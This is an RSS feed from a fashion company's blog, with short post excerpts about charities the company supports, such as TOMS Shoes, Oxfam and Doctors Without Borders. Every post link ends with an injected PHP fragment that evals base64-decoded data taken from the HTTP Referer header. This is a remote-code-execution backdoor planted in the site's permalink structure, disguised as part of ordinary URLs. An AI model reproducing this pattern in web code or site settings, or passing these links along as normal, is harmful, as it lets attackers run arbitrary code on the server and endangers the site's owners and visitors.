http://blog.worthyfashion.com Wed, 04 Mar 2009 15:39:35 +0000 http://backend.userland.com/rss092 en It's been far too long since my last posting.  The sun is melting the snow outside of our office here and it seems like nature is tapping me to end the winter-long freeze of writing on this blog...my apologies. Anyways, I've been reading a book as of late called "A Whole ... http://blog.worthyfashion.com/2009/03/04/design-that-matters/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This is an unbelievable company with a fantastic mission.  It all started when the founder took a trip to Argentina and saw that few of the children had shoes to wear.  By the time he got on a plane back to America, he had already decided that he had to ... http://blog.worthyfashion.com/2008/12/29/toms-shoes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The arts, and in particular, music, help stimulate creativity. They help foster great ideas.  So when my company set forth in aligning ourselves with nonprofits I did not think twice about supporting The Music National Service Initiative and their mission to launch MusicianCorps. MusicianCorps is an international youth service music ... http://blog.worthyfashion.com/2008/12/17/musiciancorps/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ When we at Worthy Fashion came up with our new campaign to allow our customers to choose their preferred charity, we agreed that it only made sense for each of us to choose a charity that was close to our own heart.  Today, I'm going to talk about the charity ... http://blog.worthyfashion.com/2008/12/08/fisher-center-for-alzheimers-research-foundation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ httpv://www.youtube.com/watch?v=mAtxbu9xdus http://blog.worthyfashion.com/2008/12/05/oxfam-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ "Give a man a fish and he eats for a day, teach a man to fish and he eats for a lifetime."  Everyone's heard this old adage before and it's pretty self-explanatory.  The question most people don't ask is, "Why did one man know how to fish and the other ... http://blog.worthyfashion.com/2008/12/05/oxfam/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ When I was ten years old I landed myself in the emergency room with a forearm full of glass shards sitting just millimeters away from my ulnar artery.  The glass was there because my brother and I were tormenting each other in the house and the chase ended with my ... http://blog.worthyfashion.com/2008/12/01/doctors-without-borders/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This is a great video put out by CI that really highlights how they are problem-solvers at heart, finding solutions that attack the problems we face from multiple angles.  It's only about a minute, but it's well produced and worth a look. httpv://www.youtube.com/watch?v=uVBw66t8a9Q http://blog.worthyfashion.com/2008/11/24/great-conservation-international-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I missed a couple promised blog postings about charities because we've been furious at work spreading the word about our new campaign, but I'm back to talk about another great cause. History has been made between my last post and today - an African American man has been elected president.  This ... http://blog.worthyfashion.com/2008/11/20/year-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In my last post, I wrote about my company's new campaign to create a totally new and unique customer experience that seamlessly integrates philanthropic donation into the purchasing process.  Every customer is able to choose the charity that speaks to their heart as they click their way through checkout.  We ... http://blog.worthyfashion.com/2008/10/22/conservation-international/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/